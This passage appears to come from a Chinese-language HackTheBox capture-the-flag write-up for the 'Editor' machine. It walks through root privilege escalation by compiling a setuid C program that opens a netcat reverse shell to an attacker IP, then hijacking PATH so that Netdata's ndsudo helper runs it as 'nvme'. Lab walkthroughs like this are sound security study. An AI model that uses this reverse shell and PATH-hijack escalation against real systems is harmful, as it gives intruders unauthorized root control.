首先创建恶意反弹<code>shell</code>的程序
<pre><code class="hljs language-bash">➜ Editor cat sunset.c
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>
int main() {
 setuid(0);
 setgid(0);
 system("busybox nc 10.10.14.62 1234 -e /bin/bash");
 return 0;
}
</code></pre>
编译
<pre><code class="hljs language-bash">➜ Editor gcc -o nvme sunset.c
</code></pre>
上传到靶机然后执行
<pre><code class="hljs language-bash">oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image5.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">cat /root/root.txt
